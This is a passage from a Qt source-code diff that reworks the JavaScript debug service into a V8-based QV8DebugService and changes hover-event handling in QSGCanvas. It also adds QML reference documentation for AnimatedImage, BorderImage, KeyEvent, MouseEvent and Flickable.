+ request.replace(fileName.toUtf8(), sourcePath.toUtf8());
+ sendDebugMessage(request);
+ }
+ }
+}
+
+void QV8DebugService::messageReceived(const QByteArray &message)
+{
+ Q_D(QV8DebugService);
+
+ QDataStream ds(message);
+ QByteArray command;
+ ds >> command;
+
+ if (command == "V8DEBUG") {
+ QByteArray request;
+ ds >> request;
+
+ QVariantMap reqMap;
+ /* Parse the byte string in a separate isolate
+ This will ensure that the debug message handler does not
+ receive any messages related to this operation */
+ {
+ v8::Isolate::Scope i_scope(d->isolate);
+ QString req(request);
+ QJSValue parser = d->engine->evaluate(QLatin1String("JSON.parse"));
+ QJSValue out = parser.call(QJSValue(), QJSValueList() << QJSValue(req));
+ reqMap = out.toVariant().toMap();
+ }
+
+ QString debugCommand(reqMap.value(QLatin1String("command")).toString());
+
+ if (debugCommand == QLatin1String("connect")) {
+ d->initialized = true;
+
+ } else if (debugCommand == QLatin1String("interrupt")) {
+ v8::Debug::DebugBreak();
+
+ } else {
+ bool ok = true;
+
+ if (debugCommand == QLatin1String("setbreakpoint")){
+ QVariantMap arguments = reqMap.value(QLatin1String("arguments")).toMap();
+ QString type(arguments.value(QLatin1String("type")).toString());
+
+ if (type == QLatin1String("script")) {
+ QString fileName(arguments.value(QLatin1String("target")).toString());
+
+ //Check if the filepath has been cached
+ if (d->sourcePath.contains(fileName)) {
+ QString filePath = d->sourcePath.value(fileName);
+ request.replace(fileName.toUtf8(), filePath.toUtf8());
+ } else {
+ //Store the setbreakpoint message till filepath is resolved
+ d->requestCache.insertMulti(fileName, request);
+ ok = false;
+ }
+ }
+ }
+ if (ok)
+ sendDebugMessage(request);
+ }
+ }
+
+ QDeclarativeDebugService::messageReceived(message);
+}
+
+void QV8DebugService::sendDebugMessage(const QByteArray &msg)
+{
+ Q_D(QV8DebugService);
+
+ QString message(msg);
+ if (d->loop.isRunning()) {
+ d->loop.exit();
+ }
+ v8::Debug::SendCommand(message.utf16(), message.size());
+}
+
+QByteArray QV8DebugService::packMessage(QByteArray &message)
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd("V8DEBUG");
+ rs << cmd << message;
+ return reply;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qjsdebugservice_p.h b/src/declarative/debugger/qv8debugservice_p.h
index 7e7642eb9b..7666066f50 100644
--- a/src/declarative/debugger/qjsdebugservice_p.h
+++ b/src/declarative/debugger/qv8debugservice_p.h
@@ -39,8 +39,8 @@
**
****************************************************************************/
-#ifndef QJSDEBUGSERVICE_P_H
-#define QJSDEBUGSERVICE_P_H
+#ifndef QV8DEBUGSERVICE_P_H
+#define QV8DEBUGSERVICE_P_H
//
// W A R N I N G
@@ -64,36 +64,40 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
class QDeclarativeEngine;
-class QJSDebuggerAgent;
+class QJSEngine;
+class QV8DebugServicePrivate;
-class QJSDebugService : public QDeclarativeDebugService
+class QV8DebugService : public QDeclarativeDebugService
{
Q_OBJECT
-
public:
- QJSDebugService(QObject *parent = 0);
- ~QJSDebugService();
+ QV8DebugService(QObject *parent = 0);
+ ~QV8DebugService();
- static QJSDebugService *instance();
+ static QV8DebugService *instance();
void addEngine(QDeclarativeEngine *);
void removeEngine(QDeclarativeEngine *);
+ void debugMessageHandler(QByteArray message);
+ void executionStopped();
+
+ void appendSourcePath(QByteArray message);
+
protected:
- void statusChanged(Status status);
void messageReceived(const QByteArray &);
-private Q_SLOTS:
- void executionStopped(bool becauseOfException,
- const QString &exception);
+private:
+ void sendDebugMessage(const QByteArray &msg);
+ QByteArray packMessage(QByteArray &message);
private:
- QList<QDeclarativeEngine *> m_engines;
- QPointer<QJSDebuggerAgent> m_agent;
+ Q_DISABLE_COPY(QV8DebugService)
+ Q_DECLARE_PRIVATE(QV8DebugService)
};
QT_END_NAMESPACE
QT_END_HEADER
-#endif // QJSDEBUGSERVICE_P_H
+#endif // QV8DEBUGSERVICE_P_H
diff --git a/src/declarative/items/qsganimatedimage.cpp b/src/declarative/items/qsganimatedimage.cpp
index 0a9fdd1783..ea36153ef0 100644
--- a/src/declarative/items/qsganimatedimage.cpp
+++ b/src/declarative/items/qsganimatedimage.cpp
@@ -52,6 +52,75 @@
#include <private/qdeclarativeengine_p.h>
QT_BEGIN_NAMESPACE
+/*!
+ \qmlclass AnimatedImage QSGAnimatedImage
+ \inqmlmodule QtQuick 2
+ \inherits Image
+ \ingroup basic-visual-elements
+
+ The AnimatedImage element extends the features of the \l Image element, providing
+ a way to play animations stored as images containing a series of frames,
+ such as those stored in GIF files.
+
+ Information about the current frame and totla length of the animation can be
+ obtained using the \l currentFrame and \l frameCount properties. You can
+ start, pause and stop the animation by changing the values of the \l playing
+ and \l paused properties.
+
+ The full list of supported formats can be determined with QMovie::supportedFormats().
+
+ \section1 Example Usage
+
+ \beginfloatleft
+ \image animatedimageitem.gif
+ \endfloat
+
+ The following QML shows how to display an animated image and obtain information
+ about its state, such as the current frame and total number of frames.
+ The result is an animated image with a simple progress indicator underneath it.
+
+ \bold Note: Unlike images, animated images are not cached or shared internally.
+
+ \clearfloat
+ \snippet doc/src/snippets/declarative/animatedimage.qml document
+
+ \sa BorderImage, Image
+*/
+
+/*!
+ \qmlproperty url QtQuick2::AnimatedImage::source
+
+ This property holds the URL that refers to the source image.
+
+ AnimatedImage can handle any image format supported by Qt, loaded from any
+ URL scheme supported by Qt.
+
+ \sa QDeclarativeImageProvider
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::AnimatedImage::asynchronous
+
+ Specifies that images on the local filesystem should be loaded
+ asynchronously in a separate thread. The default value is
+ false, causing the user interface thread to block while the
+ image is loaded. Setting \a asynchronous to true is useful where
+ maintaining a responsive user interface is more desirable
+ than having images immediately visible.
+
+ Note that this property is only valid for images read from the
+ local filesystem. Images loaded via a network resource (e.g. HTTP)
+ are always loaded asynchonously.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::AnimatedImage::mirror
+
+ This property holds whether the image should be horizontally inverted
+ (effectively displaying a mirrored image).
+
+ The default value is false.
+*/
QSGAnimatedImage::QSGAnimatedImage(QSGItem *parent)
: QSGImage(*(new QSGAnimatedImagePrivate), parent)
@@ -64,6 +133,14 @@ QSGAnimatedImage::~QSGAnimatedImage()
delete d->_movie;
}
+/*!
+ \qmlproperty bool QtQuick2::AnimatedImage::paused
+ This property holds whether the animated image is paused.
+
+ By default, this property is false. Set it to true when you want to pause
+ the animation.
+*/
+
bool QSGAnimatedImage::isPaused() const
{
Q_D(const QSGAnimatedImage);
@@ -83,6 +160,14 @@ void QSGAnimatedImage::setPaused(bool pause)
d->_movie->setPaused(pause);
}
+/*!
+ \qmlproperty bool QtQuick2::AnimatedImage::playing
+ This property holds whether the animated image is playing.
+
+ By default, this property is true, meaning that the animation
+ will start playing immediately.
+*/
+
bool QSGAnimatedImage::isPlaying() const
{
Q_D(const QSGAnimatedImage);
@@ -105,6 +190,16 @@ void QSGAnimatedImage::setPlaying(bool play)
d->_movie->stop();
}
+/*!
+ \qmlproperty int QtQuick2::AnimatedImage::currentFrame
+ \qmlproperty int QtQuick2::AnimatedImage::frameCount
+
+ currentFrame is the frame that is currently visible. By monitoring this property
+ for changes, you can animate other items at the same time as the image.
+
+ frameCount is the number of frames in the animation. For some animation formats,
+ frameCount is unknown and has a value of zero.
+*/
int QSGAnimatedImage::currentFrame() const
{
Q_D(const QSGAnimatedImage);
diff --git a/src/declarative/items/qsgborderimage.cpp b/src/declarative/items/qsgborderimage.cpp
index 684ea0097b..8d54bce419 100644
--- a/src/declarative/items/qsgborderimage.cpp
+++ b/src/declarative/items/qsgborderimage.cpp
@@ -50,6 +50,119 @@
QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass BorderImage QSGBorderImage
+ \inqmlmodule QtQuick 2
+ \brief The BorderImage element provides an image that can be used as a border.
+ \inherits Item
+ \ingroup qml-basic-visual-elements
+
+ The BorderImage element is used to create borders out of images by scaling or tiling
+ parts of each image.
+
+ A BorderImage element breaks a source image, specified using the \l url property,
+ into 9 regions, as shown below:
+
+ \image declarative-scalegrid.png
+
+ When the image is scaled, regions of the source image are scaled or tiled to
+ create the displayed border image in the following way:
+
+ \list
+ \i The corners (regions 1, 3, 7, and 9) are not scaled at all.
+ \i Regions 2 and 8 are scaled according to
+ \l{BorderImage::horizontalTileMode}{horizontalTileMode}.
+ \i Regions 4 and 6 are scaled according to
+ \l{BorderImage::verticalTileMode}{verticalTileMode}.
+ \i The middle (region 5) is scaled according to both
+ \l{BorderImage::horizontalTileMode}{horizontalTileMode} and
+ \l{BorderImage::verticalTileMode}{verticalTileMode}.
+ \endlist
+
+ The regions of the image are defined using the \l border property group, which
+ describes the distance from each edge of the source image to use as a border.
+
+ \section1 Example Usage
+
+ The following examples show the effects of the different modes on an image.
+ Guide lines are overlaid onto the image to show the different regions of the
+ image as described above.
+
+ \beginfloatleft
+ \image qml-borderimage-normal-image.png
+ \endfloat
+
+ An unscaled image is displayed using an Image element. The \l border property is
+ used to determine the parts of the image that will lie inside the unscaled corner
+ areas and the parts that will be stretched horizontally and vertically.
+
+ \snippet doc/src/snippets/declarative/borderimage/normal-image.qml normal image
+
+ \clearfloat
+ \beginfloatleft
+ \image qml-borderimage-scaled.png
+ \endfloat
+
+ A BorderImage element is used to display the image, and it is given a size that is
+ larger than the original image. Since the \l horizontalTileMode property is set to
+ \l{BorderImage::horizontalTileMode}{BorderImage.Stretch}, the parts of image in
+ regions 2 and 8 are stretched horizontally. Since the \l verticalTileMode property
+ is set to \l{BorderImage::verticalTileMode}{BorderImage.Stretch}, the parts of image
+ in regions 4 and 6 are stretched vertically.
+
+ \snippet doc/src/snippets/declarative/borderimage/borderimage-scaled.qml scaled border image
+
+ \clearfloat
+ \beginfloatleft
+ \image qml-borderimage-tiled.png
+ \endfloat
+
+ Again, a large BorderImage element is used to display the image. With the
+ \l horizontalTileMode property set to \l{BorderImage::horizontalTileMode}{BorderImage.Repeat},
+ the parts of image in regions 2 and 8 are tiled so that they fill the space at the
+ top and bottom of the element. Similarly, the \l verticalTileMode property is set to
+ \l{BorderImage::verticalTileMode}{BorderImage.Repeat}, the parts of image in regions
+ 4 and 6 are tiled so that they fill the space at the left and right of the element.
+
+ \snippet doc/src/snippets/declarative/borderimage/borderimage-tiled.qml tiled border image
+
+ \clearfloat
+ In some situations, the width of regions 2 and 8 may not be an exact multiple of the width
+ of the corresponding regions in the source image. Similarly, the height of regions 4 and 6
+ may not be an exact multiple of the height of the corresponding regions. It can be useful
+ to use \l{BorderImage::horizontalTileMode}{BorderImage.Round} instead of
+ \l{BorderImage::horizontalTileMode}{BorderImage.Repeat} in cases like these.
+
+ The \l{declarative/imageelements/borderimage}{BorderImage example} shows how a BorderImage
+ can be used to simulate a shadow effect on a rectangular item.
+
+ \section1 Quality and Performance
+
+ By default, any scaled regions of the image are rendered without smoothing to improve
+ rendering speed. Setting the \l smooth property improves rendering quality of scaled
+ regions, but may slow down rendering.
+
+ The source image may not be loaded instantaneously, depending on its original location.
+ Loading progress can be monitored with the \l progress property.
+
+ \sa Image, AnimatedImage
+ */
+
+/*!
+ \qmlproperty bool QtQuick2::BorderImage::asynchronous
+
+ Specifies that images on the local filesystem should be loaded
+ asynchronously in a separate thread. The default value is
+ false, causing the user interface thread to block while the
+ image is loaded. Setting \a asynchronous to true is useful where
+ maintaining a responsive user interface is more desirable
+ than having images immediately visible.
+
+ Note that this property is only valid for images read from the
+ local filesystem. Images loaded via a network resource (e.g. HTTP)
+ are always loaded asynchonously.
+*/
QSGBorderImage::QSGBorderImage(QSGItem *parent)
: QSGImageBase(*(new QSGBorderImagePrivate), parent)
{
@@ -62,6 +175,99 @@ QSGBorderImage::~QSGBorderImage()
d->sciReply->deleteLater();
}
+/*!
+ \qmlproperty enumeration QtQuick2::BorderImage::status
+
+ This property describes the status of image loading. It can be one of:
+
+ \list
+ \o BorderImage.Null - no image has been set
+ \o BorderImage.Ready - the image has been loaded
+ \o BorderImage.Loading - the image is currently being loaded
+ \o BorderImage.Error - an error occurred while loading the image
+ \endlist
+
+ \sa progress
+*/
+
+/*!
+ \qmlproperty real QtQuick2::BorderImage::progress
+
+ This property holds the progress of image loading, from 0.0 (nothing loaded)
+ to 1.0 (finished).
+
+ \sa status
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::BorderImage::smooth
+
+ Set this property if you want the image to be smoothly filtered when scaled or
+ transformed. Smooth filtering gives better visual quality, but is slower. If
+ the image is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ By default, this property is set to false.
+
+ \note Generally scaling artifacts are only visible if the image is stationary on
+ the screen. A common pattern when animating an image is to disable smooth
+ filtering at the beginning of the animation and enable it at the conclusion.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::BorderImage::cache
+
+ Specifies whether the image should be cached. The default value is
+ true. Setting \a cache to false is useful when dealing with large images,
+ to make sure that they aren't cached at the expense of small 'ui element' images.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::BorderImage::mirror
+
+ This property holds whether the image should be horizontally inverted
+ (effectively displaying a mirrored image).
+
+ The default value is false.
+*/
+
+/*!
+ \qmlproperty url QtQuick2::BorderImage::source
+
+ This property holds the URL that refers to the source image.
+
+ BorderImage can handle any image format supported by Qt, loaded from any
+ URL scheme supported by Qt.
+
+ This property can also be used to refer to .sci files, which are
+ written in a QML-specific, text-based format that specifies the
+ borders, the image file and the tile rules for a given border image.
+
+ The following .sci file sets the borders to 10 on each side for the
+ image \c picture.png:
+
+ \code
+ border.left: 10
+ border.top: 10
+ border.bottom: 10
+ border.right: 10
+ source: "picture.png"
+ \endcode
+
+ The URL may be absolute, or relative to the URL of the component.
+
+ \sa QDeclarativeImageProvider
+*/
+
+/*!
+ \qmlproperty QSize QtQuick2::BorderImage::sourceSize
+
+ This property holds the actual width and height of the loaded image.
+
+ In BorderImage, this property is read-only.
+
+ \sa Image::sourceSize
+*/
void QSGBorderImage::setSource(const QUrl &url)
{
Q_D(QSGBorderImage);
@@ -160,12 +366,55 @@ void QSGBorderImage::load()
emit statusChanged(d->status);
}
+/*!
+ \qmlproperty int QtQuick2::BorderImage::border.left
+ \qmlproperty int QtQuick2::BorderImage::border.right
+ \qmlproperty int QtQuick2::BorderImage::border.top
+ \qmlproperty int QtQuick2::BorderImage::border.bottom
+
+ The 4 border lines (2 horizontal and 2 vertical) break the image into 9 sections,
+ as shown below:
+
+ \image declarative-scalegrid.png
+
+ Each border line (left, right, top, and bottom) specifies an offset in pixels
+ from the respective edge of the source image. By default, each border line has
+ a value of 0.
+
+ For example, the following definition sets the bottom line 10 pixels up from
+ the bottom of the image:
+
+ \qml
+ BorderImage {
+ border.bottom: 10
+ // ...
+ }
+ \endqml
+
+ The border lines can also be specified using a
+ \l {BorderImage::source}{.sci file}.
+*/
+
QSGScaleGrid *QSGBorderImage::border()
{
Q_D(QSGBorderImage);
return d->getScaleGrid();
}
+/*!
+ \qmlproperty enumeration QtQuick2::BorderImage::horizontalTileMode
+ \qmlproperty enumeration QtQuick2::BorderImage::verticalTileMode
+
+ This property describes how to repeat or stretch the middle parts of the border image.
+
+ \list
+ \o BorderImage.Stretch - Scales the image to fit to the available area.
+ \o BorderImage.Repeat - Tile the image until there is no more space. May crop the last image.
+ \o BorderImage.Round - Like Repeat, but scales the images down to ensure that the last image is not cropped.
+ \endlist
+
+ The default tile mode for each property is BorderImage.Stretch.
+*/
QSGBorderImage::TileMode QSGBorderImage::horizontalTileMode() const
{
Q_D(const QSGBorderImage);
diff --git a/src/declarative/items/qsgcanvas.cpp b/src/declarative/items/qsgcanvas.cpp
index 33d661e089..0d4001a393 100644
--- a/src/declarative/items/qsgcanvas.cpp
+++ b/src/declarative/items/qsgcanvas.cpp
@@ -332,7 +332,6 @@ QSGCanvasPrivate::QSGCanvasPrivate()
: rootItem(0)
, activeFocusItem(0)
, mouseGrabberItem(0)
- , hoverItem(0)
, dirtyItemList(0)
, context(0)
, animationRunning(false)
@@ -785,7 +784,6 @@ QSGCanvas::~QSGCanvas()
// manually cleanup for the root item (item destructor only handles these when an item is parented)
QSGItemPrivate *rootItemPrivate = QSGItemPrivate::get(d->rootItem);
rootItemPrivate->removeFromDirtyList();
- rootItemPrivate->canvas = 0;
delete d->rootItem; d->rootItem = 0;
d->cleanupNodes();
@@ -813,17 +811,19 @@ QSGItem *QSGCanvas::mouseGrabberItem() const
}
-void QSGCanvasPrivate::clearHover()
+bool QSGCanvasPrivate::clearHover()
{
Q_Q(QSGCanvas);
- if (!hoverItem)
- return;
+ if (hoverItems.isEmpty())
+ return false;
QPointF pos = QCursor::pos(); // ### refactor: q->mapFromGlobal(QCursor::pos());
- QSGItem *item = hoverItem;
- hoverItem = 0;
- sendHoverEvent(QEvent::HoverLeave, item, pos, pos, QApplication::keyboardModifiers(), true);
+ bool accepted = false;
+ foreach (QSGItem* item, hoverItems)
+ accepted = sendHoverEvent(QEvent::HoverLeave, item, pos, pos, QApplication::keyboardModifiers(), true) || accepted;
+ hoverItems.clear();
+ return accepted;
}
@@ -874,6 +874,9 @@ bool QSGCanvas::event(QEvent *e)
case QSGEvent::SGDragDrop:
d->deliverDragEvent(static_cast<QSGDragEvent *>(e));
break;
+ case QEvent::WindowDeactivate:
+ rootItem()->windowDeactivateEvent();
+ break;
default:
break;
}
@@ -1063,11 +1066,7 @@ void QSGCanvas::mouseMoveEvent(QMouseEvent *event)
bool delivered = d->deliverHoverEvent(d->rootItem, event->pos(), last, event->modifiers(), accepted);
if (!delivered) {
//take care of any exits
- if (d->hoverItem) {
- QSGItem *item = d->hoverItem;
- d->hoverItem = 0;
- accepted = d->sendHoverEvent(QEvent::HoverLeave, item, event->pos(), last, event->modifiers(), accepted);
- }
+ accepted = d->clearHover();
}
event->setAccepted(accepted);
return;
@@ -1105,20 +1104,43 @@ bool QSGCanvasPrivate::deliverHoverEvent(QSGItem *item, const QPointF &scenePos,
if (itemPrivate->hoverEnabled) {
QPointF p = item->mapFromScene(scenePos);
if (QRectF(0, 0, item->width(), item->height()).contains(p)) {
- if (hoverItem == item) {
+ if (!hoverItems.isEmpty() && hoverItems[0] == item) {
//move
accepted = sendHoverEvent(QEvent::HoverMove, item, scenePos, lastScenePos, modifiers, accepted);
} else {
- //exit from previous
- if (hoverItem) {
- QSGItem *item = hoverItem;
- hoverItem = 0;
- accepted = sendHoverEvent(QEvent::HoverLeave, item, scenePos, lastScenePos, modifiers, accepted);
+ QList<QSGItem*> parents;
+ QSGItem* parent = item;
+ parents << item;
+ while ((parent = parent->parentItem()))
+ parents << parent;
+
+ //exit from previous (excepting ancestors)
+ while (!hoverItems.isEmpty() && !parents.contains(hoverItems[0])){
+ sendHoverEvent(QEvent::HoverLeave, hoverItems[0], scenePos, lastScenePos, modifiers, accepted);
+ hoverItems.removeFirst();
}
- //enter new item
- hoverItem = item;
- accepted = sendHoverEvent(QEvent::HoverEnter, item, scenePos, lastScenePos, modifiers, accepted);
+ if (!hoverItems.isEmpty() && hoverItems[0] == item){//Not entering a new Item
+ accepted = sendHoverEvent(QEvent::HoverMove, item, scenePos, lastScenePos, modifiers, accepted);
+ } else {
+ //enter any ancestors that also wish to be hovered and aren't
+ int startIdx = -1;
+ if (!hoverItems.isEmpty())
+ startIdx = parents.indexOf(hoverItems[0]);
+ if (startIdx == -1)
+ startIdx = parents.count() - 1;
+
+ for (int i = startIdx; i >= 0; i--) {
+ if (QSGItemPrivate::get(parents[i])->hoverEnabled) {
+ hoverItems.prepend(parents[i]);
+ sendHoverEvent(QEvent::HoverEnter, parents[i], scenePos, lastScenePos, modifiers, accepted);
+ }
+ }
+
+ //enter new item
+ hoverItems.prepend(item);
+ accepted = sendHoverEvent(QEvent::HoverEnter, item, scenePos, lastScenePos, modifiers, accepted);
+ }
}
return true;
}
@@ -1143,7 +1165,7 @@ bool QSGCanvasPrivate::deliverWheelEvent(QSGItem *item, QWheelEvent *event)
QList<QSGItem *> children = itemPrivate->paintOrderChildItems();
for (int ii = children.count() - 1; ii >= 0; --ii) {
QSGItem *child = children.at(ii);
- if (!child->isEnabled())
+ if (!child->isVisible() || !child->isEnabled())
continue;
if (deliverWheelEvent(child, event))
return true;
@@ -1562,6 +1584,7 @@ void QSGCanvasPrivate::updateDirtyNode(QSGItem *item)
if (item->clip()) {
Q_ASSERT(itemPriv->clipNode == 0);
itemPriv->clipNode = new QSGDefaultClipNode(item->boundingRect());
+ itemPriv->clipNode->update();
if (child)
parent->removeChildNode(child);
@@ -1646,7 +1669,7 @@ void QSGCanvasPrivate::updateDirtyNode(QSGItem *item)
}
}
- if ((dirty & QSGItemPrivate::Size || clipEffectivelyChanged) && itemPriv->clipNode) {
+ if ((dirty & QSGItemPrivate::Size) && itemPriv->clipNode) {
itemPriv->clipNode->setRect(item->boundingRect());
itemPriv->clipNode->update();
}
diff --git a/src/declarative/items/qsgcanvas_p.h b/src/declarative/items/qsgcanvas_p.h
index e16d91685d..bf65e95812 100644
--- a/src/declarative/items/qsgcanvas_p.h
+++ b/src/declarative/items/qsgcanvas_p.h
@@ -119,11 +119,11 @@ public:
bool deliverHoverEvent(QSGItem *, const QPointF &scenePos, const QPointF &lastScenePos, Qt::KeyboardModifiers modifiers, bool &accepted);
bool sendHoverEvent(QEvent::Type, QSGItem *, const QPointF &scenePos, const QPointF &lastScenePos,
Qt::KeyboardModifiers modifiers, bool accepted);
- void clearHover();
+ bool clearHover();
void deliverDragEvent(QSGDragEvent *);
bool deliverDragEvent(QSGItem *item, QSGDragEvent *);
- QDeclarativeGuard<QSGItem> hoverItem;
+ QList<QSGItem*> hoverItems;
enum FocusOption {
DontChangeFocusProperty = 0x01,
};
diff --git a/src/declarative/items/qsgevents.cpp b/src/declarative/items/qsgevents.cpp
index 0c5d8cac34..2173b4a21f 100644
--- a/src/declarative/items/qsgevents.cpp
+++ b/src/declarative/items/qsgevents.cpp
@@ -43,4 +43,197 @@
QT_BEGIN_NAMESPACE
+/*!
+ \qmlclass KeyEvent QSGKeyEvent
+ \inqmlmodule QtQuick 2
+ \ingroup qml-event-elements
+
+ \brief The KeyEvent object provides information about a key event.
+
+ For example, the following changes the Item's state property when the Enter
+ key is pressed:
+ \qml
+Item {
+ focus: true
+ Keys.onPressed: { if (event.key == Qt.Key_Enter) state = 'ShowDetails'; }
+}
+ \endqml
+*/
+
+/*!
+ \qmlproperty int QtQuick2::KeyEvent::key
+
+ This property holds the code of the key that was pressed or released.
+
+ See \l {Qt::Key}{Qt.Key} for the list of keyboard codes. These codes are
+ independent of the underlying window system. Note that this
+ function does not distinguish between capital and non-capital
+ letters, use the text() function (returning the Unicode text the
+ key generated) for this purpose.
+
+ A value of either 0 or \l {Qt::Key_unknown}{Qt.Key_Unknown} means that the event is not
+ the result of a known key; for example, it may be the result of
+ a compose sequence, a keyboard macro, or due to key event
+ compression.
+*/
+
+/*!
+ \qmlproperty string QtQuick2::KeyEvent::text
+
+ This property holds the Unicode text that the key generated.
+ The text returned can be an empty string in cases where modifier keys,
+ such as Shift, Control, Alt, and Meta, are being pressed or released.
+ In such cases \c key will contain a valid value
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::KeyEvent::isAutoRepeat
+
+ This property holds whether this event comes from an auto-repeating key.
+*/
+
+/*!
+ \qmlproperty int QtQuick2::KeyEvent::count
+
+ This property holds the number of keys involved in this event. If \l KeyEvent::text
+ is not empty, this is simply the length of the string.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::KeyEvent::accepted
+
+ Setting \a accepted to true prevents the key event from being
+ propagated to the item's parent.
+
+ Generally, if the item acts on the key event then it should be accepted
+ so that ancestor items do not also respond to the same event.
+*/
+
+/*!
+ \qmlproperty int QtQuick2::KeyEvent::modifiers
+
+ This property holds the keyboard modifier flags that existed immediately
+ before the event occurred.
+
+ It contains a bitwise combination of:
+ \list
+ \o Qt.NoModifier - No modifier key is pressed.
+ \o Qt.ShiftModifier - A Shift key on the keyboard is pressed.
+ \o Qt.ControlModifier - A Ctrl key on the keyboard is pressed.
+ \o Qt.AltModifier - An Alt key on the keyboard is pressed.
+ \o Qt.MetaModifier - A Meta key on the keyboard is pressed.
+ \o Qt.KeypadModifier - A keypad button is pressed.
+ \endlist
+
+ For example, to react to a Shift key + Enter key combination:
+ \qml
+ Item {
+ focus: true
+ Keys.onPressed: {
+ if ((event.key == Qt.Key_Enter) && (event.modifiers & Qt.ShiftModifier))
+ doSomething();
+ }
+ }
+ \endqml
+*/
+
+
+/*!
+ \qmlclass MouseEvent QSGMouseEvent
+ \inqmlmodule QtQuick 2
+ \ingroup qml-event-elements
+
+ \brief The MouseEvent object provides information about a mouse event.
+
+ The position of the mouse can be found via the \l x and \l y properties.
+ The button that caused the event is available via the \l button property.
+
+ \sa MouseArea
+*/
+
+/*!
+ \internal
+ \class QSGMouseEvent
+*/
+
+/*!
+ \qmlproperty int QtQuick2::MouseEvent::x
+ \qmlproperty int QtQuick2::MouseEvent::y
+
+ These properties hold the coordinates of the position supplied by the mouse event.
+*/
+
+
+/*!
+ \qmlproperty bool QtQuick2::MouseEvent::accepted
+
+ Setting \a accepted to true prevents the mouse event from being
+ propagated to items below this item.
+
+ Generally, if the item acts on the mouse event then it should be accepted
+ so that items lower in the stacking order do not also respond to the same event.
+*/
+
+/*!
+ \qmlproperty enumeration QtQuick2::MouseEvent::button
+
+ This property holds the button that caused the event. It can be one of:
+ \list
+ \o Qt.LeftButton
+ \o Qt.RightButton
+ \o Qt.MiddleButton
+ \endlist
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::MouseEvent::wasHeld
+
+ This property is true if the mouse button has been held pressed longer the
+ threshold (800ms).
+*/
+
+/*!
+ \qmlproperty int QtQuick2::MouseEvent::buttons
+
+ This property holds the mouse buttons pressed when the event was generated.
+ For mouse move events, this is all buttons that are pressed down. For mouse
+ press and double click events this includes the button that caused the event.
+ For mouse release events this excludes the button that caused the event.
+
+ It contains a bitwise combination of:
+ \list
+ \o Qt.LeftButton
+ \o Qt.RightButton
+ \o Qt.MiddleButton
+ \endlist
+*/
+
+/*!
+ \qmlproperty int QtQuick2::MouseEvent::modifiers
+
+ This property holds the keyboard modifier flags that existed immediately
+ before the event occurred.
+
+ It contains a bitwise combination of:
+ \list
+ \o Qt.NoModifier - No modifier key is pressed.
+ \o Qt.ShiftModifier - A Shift key on the keyboard is pressed.
+ \o Qt.ControlModifier - A Ctrl key on the keyboard is pressed.
+ \o Qt.AltModifier - An Alt key on the keyboard is pressed.
+ \o Qt.MetaModifier - A Meta key on the keyboard is pressed.
+ \o Qt.KeypadModifier - A keypad button is pressed.
+ \endlist
+
+ For example, to react to a Shift key + Left mouse button click:
+ \qml
+ MouseArea {
+ onClicked: {
+ if ((mouse.button == Qt.LeftButton) && (mouse.modifiers & Qt.ShiftModifier))
+ doSomething();
+ }
+ }
+ \endqml
+*/
+
+
QT_END_NAMESPACE
diff --git a/src/declarative/items/qsgflickable.cpp b/src/declarative/items/qsgflickable.cpp
index 1d8f107abc..e63698eca7 100644
--- a/src/declarative/items/qsgflickable.cpp
+++ b/src/declarative/items/qsgflickable.cpp
@@ -456,6 +456,107 @@ is finished.
touch/mouse button is released then a flick will start.
*/
+/*!
+ \qmlclass Flickable QSGFlickable
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-interaction-elements
+
+ \brief The Flickable item provides a surface that can be "flicked".
+ \inherits Item
+
+ The Flickable item places its children on a surface that can be dragged
+ and flicked, causing the view onto the child items to scroll. This
+ behavior forms the basis of Items that are designed to show large numbers
+ of child items, such as \l ListView and \l GridView.
+
+ In traditional user interfaces, views can be scrolled using standard
+ controls, such as scroll bars and arrow buttons. In some situations, it
+ is also possible to drag the view directly by pressing and holding a
+ mouse button while moving the cursor. In touch-based user interfaces,
+ this dragging action is often complemented with a flicking action, where
+ scrolling continues after the user has stopped touching the view.
+
+ Flickable does not automatically clip its contents. If it is not used as
+ a full-screen item, you should consider setting the \l{Item::}{clip} property
+ to true.
+
+ \section1 Example Usage
+
+ \div {class="float-right"}
+ \inlineimage flickable.gif
+ \enddiv
+
+ The following example shows a small view onto a large image in which the
+ user can drag or flick the image in order to view different parts of it.
+
+ \snippet doc/src/snippets/declarative/flickable.qml document
+
+ \clearfloat
+
+ Items declared as children of a Flickable are automatically parented to the
+ Flickable's \l contentItem. This should be taken into account when
+ operating on the children of the Flickable; it is usually the children of
+ \c contentItem that are relevant. For example, the bound of Items added
+ to the Flickable will be available by \c contentItem.childrenRect
+
+ \section1 Limitations
+
+ \note Due to an implementation detail, items placed inside a Flickable cannot anchor to it by
+ \c id. Use \c parent instead.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Flickable::onMovementStarted()
+
+ This handler is called when the view begins moving due to user
+ interaction.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Flickable::onMovementEnded()
+
+ This handler is called when the view stops moving due to user
+ interaction. If a flick was generated, this handler will
+ be triggered once the flick stops. If a flick was not
+ generated, the handler will be triggered when the
+ user stops dragging - i.e. a mouse or touch release.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Flickable::onFlickStarted()
+
+ This handler is called when the view is flicked. A flick
+ starts from the point that the mouse or touch is released,
+ while still in motion.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Flickable::onFlickEnded()
+
+ This handler is called when the view stops moving due to a flick.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Flickable::visibleArea.xPosition
+ \qmlproperty real QtQuick2::Flickable::visibleArea.widthRatio
+ \qmlproperty real QtQuick2::Flickable::visibleArea.yPosition
+ \qmlproperty real QtQuick2::Flickable::visibleArea.heightRatio
+
+ These properties describe the position and size of the currently viewed area.
